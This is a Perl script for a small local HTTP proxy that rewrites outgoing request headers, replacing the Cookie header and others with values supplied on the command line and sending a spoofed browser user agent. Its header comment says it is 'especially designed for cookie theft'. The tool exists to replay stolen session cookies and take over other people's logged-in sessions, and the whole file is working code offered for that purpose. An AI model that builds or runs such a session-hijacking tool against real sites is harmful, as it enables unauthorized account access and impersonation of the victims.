#!/usr/bin/perl
############################################################
## @200? Martin Eiszner
##
# Mini Proxy for changing http-request - headers
############################################################
## especially designed for cookie theft
##
##
## -c = Cookie (-c 'Name:fowler=')
## -p = Listen to Port Number (-p 3333) 6666 = default
## -h = Additional Headers (-h 'a:b&UserAgent:xxx'
## -d = debug lever (-d 1) = default
## -a = use fake headers allways (-a) || only on 1st request
##
############################################################

$|++;

use Getopt::Std;
use HTTP::Daemon;
use LWP::UserAgent;
use strict;

## our options;
##
my %opt;
getopts("c:p:h:d:a",\%opt);

## vardecs
##
my $COOKIE = $opt{'c'};
my $ADDS = $opt{'h'};
my $HOST = "localhost";
my $PORT = $opt{'p'} || "6666";
my $AGENT;
my $STARTUP = 1;
my $DEBUG = $opt{'d'} || 1;

## time prefix
##
sub prefix
{
my $now = localtime;
join "", map { "[$now] [${$}] $_\n" } split /\n/, join "", @_;
}

## handle sigs
##
$SIG{__WARN__} = sub { warn prefix @_ };
$SIG{__DIE__} = sub { die prefix @_ };
$SIG{CLD} = $SIG{CHLD} = sub { wait; };


## global stuff for better performance
##
BEGIN
{
@MyAgent::ISA = qw(LWP::UserAgent); # set inheritance
$AGENT = MyAgent->new;
$AGENT->agent("Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.0)");
}

sub MyAgent::redirect_ok { 0 }

######################################################################
## the real thing main main main
######################################################################
##
my $master = new HTTP::Daemon
LocalAddr => $HOST, LocalPort => $PORT;

print "Proxy:", $master->url, "\n";
my $slave;

while ($slave = $master->accept)
{
&handle_connection($slave);
## ugly but ..
$STARTUP = 0;
}

exit 0;



###############################################################
## handle a Client Connection
###############################################################

sub handle_connection
{
my $connection = shift;
my $pid = fork;

if ($pid)
{
close $connection;
return;
}

my $request = $connection->get_request;

if (defined($request))
{
my $response = &fetch_request($request);
$connection->send_response($response);
close $connection;
}

exit 0 if defined $pid;
}



#########################################################
## ok for the show
#########################################################

sub fetch_request
{
my $request = shift;

use HTTP::Response;
my $url = $request->url;

## headers thing
##

if ($STARTUP == 1 || $opt{'a'})
{
print "Changing Parameters ...\n" if ($DEBUG > 0);

if ($COOKIE ne '')
{
$request->remove_header('Cookie');
$request->push_header('Cookie' => $COOKIE);
}

## additional headers
##

my @hpairs = split(/&/,$ADDS);
foreach my $si (@hpairs)
{
my ($k,$v) = split(/:/,$si,2);
$request->remove_header($k);
$request->push_header($k => $v);
}
}

print "> $url\n" if($DEBUG > 0);
print $request->as_string(),"\n" if($DEBUG > 1);

my $response = $AGENT->request($request);

$response;
}